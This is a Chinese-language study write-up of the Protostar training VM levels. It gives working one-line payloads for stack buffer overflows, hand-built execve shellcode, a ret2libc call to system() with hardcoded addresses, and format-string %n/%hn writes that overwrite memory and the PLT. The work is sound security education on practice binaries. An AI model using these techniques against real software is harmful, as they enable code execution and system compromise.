Protostar学习笔记

正在学习二进制安全,经糖果牛介绍,知道了还有Protostar这么个好玩的东西。实际说来,Protostar是Exploit Exercise网站下四个供安全学习用的镜像之一,除了这个以外,还有其他四个环境,分别是Nebula(Linux基础),Fusion(相当于Protostar的高难度版本),Main Sequence(似乎是Ruxcon 2012的真题)和Cloud Road(应该是Ruxcon 2014的题),具体的可以去他们的官网查阅。(另外官网上对于题目已经给出了足够的提示,因此这里的笔记只起两个作用了,一是我自己对少数题目的解法,二是我在学习过程中的点滴思考,只是对自己想法的记录。如果您感觉有一定的参考意义,那将是我的荣幸。如果您觉得这里应该公布标准答案,请移驾本处

更新并不定期。

工作的环境配置如下:

# /bin/bash
user@protostar:~$ su
root@protostar:/# echo '1' > /proc/sys/fs/suid_dumpable
root@protostar:/# exit
user@protostar:~$ gdb -q
(gdb) set disassemble-flavor

那么下面就是正文了。


4/13/2015更新

Stack系列

Level 0~2

都是相当简单的缓冲区溢出,只不过方式稍有不同。Lv0的话,只要你输入的数量足够,就能通过了。但这没意思了不是,尝试一下最少需要多少个字符完成任务,再结合源码中在栈上分配的空间大小,要了解细节还算是比较轻松的。而Lv1则加入了对特定字符的限制,除了考查内存分配以外,还要知道小端机器是如何在内存中存放数据的。Lv2感觉是给我一个新思路,原来只知道用户输入可能有漏洞,没想过环境变量也是个靶点,看来思路还不宽。

这部分因为是中午要睡觉,所以也没太细看,简单走了几步就过去了,不过顺手搜到个很好用的trick:

export foo=`perl -e 'print "\x50\x9a\x05\x40"'`

Level 3

直接disas main会发现使用了函数指针,不过函数指针并没有被赋值。然后敲i fun可以看到有一个名为win的函数存在,但是并没有被使用到。disas win可看到将0x8048540处的字符串输出,也就是说需要使函数指针指向win。disas main可以看到编译器在栈上为输入数据分配了0x40=64个空间,因此POC如下:

perl -e 'print "a"x64 . "\x24\x84\x04\x08"' | ./stack3

4/15/2015更新

Level 4

注意这里编译器生成的代码:

and esp, 0xfffffff0

自己写了个调用gets()的程序,发现这句话是编译器自己加上去的,似乎只是为了对齐用。因此我们的POC需要重新计算(记得包括ebp和这个偏移量):

perl -e 'print "a"x76 . "\x24\x84\x04\x08"' | ./stack3

(76=64+0x08+0x04) 但是关于这个偏移量产生的原因,似乎还可以追一下。留待有时间看看。

Level 5

i fun并没有什么卵用。disas似乎也并没有什么作用。去官网上看了下,原来是要你构造个shellcode放进去。看了下相关配置,栈执行已经关掉了,好办。

先来看下代码:

push ebp
mov  ebp, esp
and  esp, 0xfffffff0
sub  esp, 0x50
lea  eax, [esp+0x10]
mov  DWORD PTR [esp], eax
call <gets@plt>
leave
ret

那么压入栈中的返回地址是esp+(0x50-0x08+0x04=)76==esp+0x4c,输入的数据存放在esp+0x10(本环境下esp=0xbffff7c0)。先确定下:

perl -e 'print "\xcc"x76 . "\xd0\xf7\xff\xbf"' > '~/test.in'
<Alt+F2>
(gdb) r 
Starting program: /opt/protostar/bin/stack5 < ~/test.in

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7d1 in ??()
(gdb) x /20x 0xbffff7d0
0xbffff7d0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
......
0xbffff810: 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff7d0
(gdb) i reg esp ebp
esp   0xbffff820 0xbffff820
ebp   0xcccccccc 0xcccccccc

看来是没问题了。那么现在写下shellcode,弹个……日历吧。感谢这家这家的大力支持,得到了shellcode如下:

#base: 0xbffff7d0+0x1c个nop
#-1:  90                      nop
#00:  31 c0                   xor    eax,eax
#02:  a3 08 f8 ff bf          mov    ds:0xbffff808,eax
#07:  b0 0b                   mov    al,0xb
#09:  bb 0c f8 ff bf          mov    ebx,0xbffff80c
#0e:  b9 04 f8 ff bf          mov    ecx,0xbffff804
#13: 8b 15 08 f8 ff bf       mov    edx,DWORD PTR ds:0xbffff808
#19: cd 80                   int    0x80
#0xbffff7fc:       0xbffff808 0x06198904
#0xbffff80c: /usr   /bin   /cal   0x00000000
#0xbffff81c: 0xbffff7d0 <----TARGET!
perl -e 'print "\x90" . "\x90"x24 . "\x31\xC0\xA3\x08\xF8\xFF\xBF\xB0\x0B\xBB\x0C\xF8\xFF\xBF\xB9\x04\xF8\xFF\xBF\x8B\x15\x08\xF8\xFF\xBF\xCD\x80" . "\x08\xf8\xff\xbf\x06\x19\x89\x04" . "/usr/bin/cal" . "\x00"x4 . "\xd0\xf7\xff\xbf"' > ~/test.in

先是把第一个nop换成了0xcc,下了个中断调了下,果然有问题,偏移量计算的不对,所以多加了三个\x00做个补丁。总体还是很容易看的,al里放上0x0b然后填参数,调用int80h,相当于执行execve()。这个函数会把控制权交给ebx指向的字符串所确定的程序,也就是日历了。效果如下:

(gdb) r
Starting program: /opt/protostar/bin/stack5 < ~/test.in
Executing new program: /usr/bin/ncal
     April 2015
Su     5 12 19 26
Mo     6 13 20 27
Tu     7 14 21 28
We  1  8 15 22 29
Th  2  9 16 23 30
Fr  3 10 17 24
Sa  4 11 18 25

Program exited normally.

似乎是因为并没有覆盖到目标之外的栈帧,execve还帮助清理了上下文,所以并没有Segment Error。这种攻击方式似乎有时候会很无趣 ,毕竟能覆盖的区域不一定够。此外这个exp只能在gdb下用,因为gdb下的内存分布和一般的内存分布似乎并不一样。这个问题将在下面的这道题中给出一个解法。


4/27/2015更新(这个人正在狂补大物,嗯)

Level 6

getpath函数,翻译过来大致是这样的:

void getpath(void)
{
//offset:0x08048484
//08048484 55                     push   ebp
//08048485 89 e5                  mov    ebp,esp
//08048487 83 ec 68               sub    esp,0x68
//allocated 0x68 on stack

//0804848a b8 d0 85 04 08         mov    eax,0x80485d0
//0804848f 89 04 24               mov    DWORD PTR [esp],eax
//08048492 e8 29 ff ff ff         call   0x080483c0 <printf@plt>
 printf("input path please: "); //*0x080485d0=="input path please: "
 
//08048497 a1 20 97 04 08         mov    eax,ds:0x8049720
//0804849c 89 04 24               mov    DWORD PTR [esp],eax
//0804849f e8 0c ff ff ff         call   0x080483b0 <fflush@plt>
 fflush(stdout);  //0x08049720==stdout
 
//080484a4 8d 45 b4               lea    eax,[ebp-0x4c]
//080484a7 89 04 24               mov    DWORD PTR [esp],eax
//080484aa e8 d1 fe ff ff         call   0x08048380 <gets@plt>
 gets(ebp-0x4c);  //result stored in ebp-0x4c, aka. esp+0x1c
 
//080484af 8b 45 04               mov    eax,DWORD PTR [ebp+0x4]
//080484b2 89 45 f4               mov    DWORD PTR [ebp-0xc],eax
//080484b5 8b 45 f4               mov    eax,DWORD PTR [ebp-0xc]
//080484b8 25 00 00 00 bf         and    eax,0xbf000000
//080484bd 3d 00 00 00 bf         cmp    eax,0xbf000000
//080484c2 75 20                  jne    loc_080484e4
// these code checked the stack, and if return ptr is not 
//  modified, the program will jump to loc_080484e4, 
//  or will report an error.
// only when the execute code is in the stack, the system 
//  will work 

//080484c4 b8 e4 85 04 08         mov    eax,0x80485e4
//080484c9 8b 55 f4               mov    edx,DWORD PTR [ebp-0xc]
//080484cc 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484d0 89 04 24               mov    DWORD PTR [esp],eax
//080484d3 e8 e8 fe ff ff         call   0x080483c0 <printf@plt>
 printf("bzzzt (%p)\n", *(ebp+0x4)); //show the ret addr
 
//080484d8 c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1
//080484df e8 bc fe ff ff         call   0x080483a0
 exit(1);
         
//       loc_080484e4:                         
//080484e4 b8 f0 85 04 08         mov    eax,0x80485f0
//080484e9 8d 55 b4               lea    edx,[ebp-0x4c]
//080484ec 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484f0 89 04 24               mov    DWORD PTR [esp],eax
//080484f3 e8 c8 fe ff ff         call   0x080483c0 <printf@plt>
 printf("got path %s\n", ebp-0x4c);
 
//080484f8 c9                     leave  
//080484f9 c3                     ret
}
/*
0 
| [esp=org_addr] ....
|      ....
| [esp+0x1c]     char input[0x40]
|      ...
| [esp+0x5c]  void* v1
|      ...
| [ebp=esp+0x68] OLD EBP     == 0xbffff818
| [esp+0x6c]   RETURN ADDR == 0x08048505
V 
F 
*/   

自带保护……棒透了。那么显然没办法任意执行自己的代码了,不过,返回地址仍然是可以覆盖的。先断下来看看有没有什么可以用的东西吧(笑:

(gdb) i func system
...
File ../sysdeps/posix/system.c:
int __libc_system(const char *);
static int do_system(const char *);
(gdb) p system
$2 = {...} 0xb7ecffb0 <__libc_system>

果然有东西。system是C里面的一个函数,通常的用法是这样的:

int main(void)
{
 //...
 system("whoami");
 //...

 return 0;
}

源程序虽然检查了返回地址,但只是要求返回地址不得位于栈中。我们只要让他去调用system(Question:这个system是位于哪里的?),然后传进去自己的参数就ok了。注意到有一个bzzzt的提示,可以提醒数据已经到了边界,所以确定下地址:

user@protostar:/opt/protostar/bin$ perl -e 'print "\xbf\x67\x68\x69"x20 . "\xbf\xbf\xbf\xbf"' | ./stack6
input path please: bzzzt (0xbfbfbfbf)

少一组就不好用,多一组就segmentation error。Bingo!可供我们填充的字节为0x50个,之后的四个字节就是返回地址了。那么exp布局如下:

#</usr/bin/whoami>.<fillings(and here is end)>.<0xb7ecffb0>.<0xb7ec60c0>.<0xbffff7fc>.<0x04198906>
user@protostar:/opt/protostar/bin$ perl -e 'print "/usr/bin/whoami;#" . "F"x63 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\xfc\xf7\xff\xbf" . "\x06\x89\x19\x04"' | ./stack6

解释下。根据这里的说明,被调用函数所看到的栈中的情况是:

 |FFFFFFFF|------------------>|00000000|
 |ret addr| param 1 | param 2 |........|

调用system()的时候,需要下一条指令执行exit(),并且带有一个字符串指针作为参数;调用exit()之后,下一条指令是什么对我们并没有什么卵用(因为退出了),只要保证给一个退出的值就可以了。检查转储文件后可以发现,我们的输入数据是从0xbffff7fc处开始存放的,因此就有了这个exp。

之后回头看了下protostar上的文档,发现这个检查实际是利用的 __builtin_return_address 这个函数检查栈帧。留下备用~

Level 7

目前并没做出来。


4/29/2015更新 参考了其他人的做法,是找到不会被限制的一个ret。之前都是通过覆写栈来覆盖返回地址的方法,ret后执行目标代码,换句话说是控制PC的值。那么让第一次ret出的地址指向另一个ret,而跳转目标的地址恰好在执行第一个ret前的[esp+0x08]处,就可以绕过对[esp+0x04]的检查。

但是……有没有其他有趣的方法呢?

走到死路口之前先不写这种方法的poc了。


4/30/2015更新 double ret

Format[0..4]

这组练习均是有关于格式化字符串漏洞的。如果你刚开始学习C语言,还应该参考下维基百科上关于格式化字符串的有关文章。

总体上看,这类漏洞的根源在于POSIX标准中的变参函数。我们都知道,stdcall调用方式是通过将参数压入栈中完成参数传递的,而被调用的函数应该从栈中取出各参数。而POSIX标准为了支持变参函数,提供了va_start、va_end、va_arg和va_list用来支持其工作。然而,在标准中,对函数参数个数的传递并没有要求,因此被调用函数需要自行决定取出多少参数。

这种情况下,printf等处理格式化字符串的方法是,对格式化字符串中的字符分别处理,遇到特定的转义字符(如%d、%c等等)后再调用va_arg从栈中取出函数。这种方式的问题在于,当格式化字符串可以被控制时,内存里的内容也就可以被随意读取了。此外,由于printf函数提供了%n用来向某个参数内写入数值,这造成了对内存的任意写。

Format 0

程序逻辑是,将输入的字符串解析之后,输出结果送至到另一个字符串中,之后检测某个特定位置的值是否为deadbeef。因此,我们只要做好padding即可:

./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`

Format 1

程序读入启动参数并展示,而要求我们修改内存中指定地址处的值。修改值需要用到%n,它接受的参数是一个指向可写内存区域的地址。因此可以这样先找出我们的地址:

for i in {1..300}; do ./format1 `echo -ne "\x38\x96\x04\x08%$i\\$x"`; echo; done | nl | grep 9638
   127  88049638

构造:

user@protostar:/opt/protostar/bin$ ./format1 `echo -ne '\x38\x96\x04\x08%127$n'` 
8you have modified the target :)

不同机器上,运行结果可能也有不同,这与装载器有关。

Format 2

这次我们要控制改写的值为0x40=64。%n的作用是将已经显示的字符数写入对应地址处,那么我们要写入64的话,应该加的padding为64-4byte地址=60,则:

user@protostar:/opt/protostar/bin$ echo -ne "\xe4\x96\x04\x08%060x%4\$n\n" | ./format2    
鋿000000000000000000000000000000000000000000000000000000000200
you have modified the target :)

Format 3

为了写入0x1025544,我们仍然可以用Format2的方法:

echo -ne "\xf4\x96\x04\x08%16930112c%12\$n" | ./format3

但是,要输出这么多的字符,等待时间太长了。因此,我们每次写入2字节,那么:

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%21820c%13\$hn%43966c%12\$hn"  | ./format3

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%250c%12\$hn%21570c%13\$hn"  | ./format3

这里我们使用%hn,控制每次写入2字节。几个参数的计算方法如下:

0x1025544 = 0x0102 << 16 + 0x5544
0x0102 = 258; 258 - 8 = 250
0x5544 - 0x0102 = 21570

Y = 0x218-0x208 = 0x10
X = +0x18 + 0x4 = 0x1C
(X+Y)/4+1 = 12 //indicates the first one to extract

Format 4

为了让程序在printf后,不执行_exit,而去执行hello函数,我们需要改写plt表。关于plt表的相关内容可以参考《程序员的自我修养》一书,这里给出exp:

echo -ne "\x25\x97\x04\x08\x24\x97\x04\x08%033964c%5\$n%0491472c%4\$n\n" | ./format4

但其实,我们只需要修改一个字节就可以达到相同目的:

echo -ne "\x24\x97\x04\x08%33968u%4\$hn" | ./format4
....
code execution redirected! you win

注意,这里为了防止地址被破坏,还是需要写入两个字节。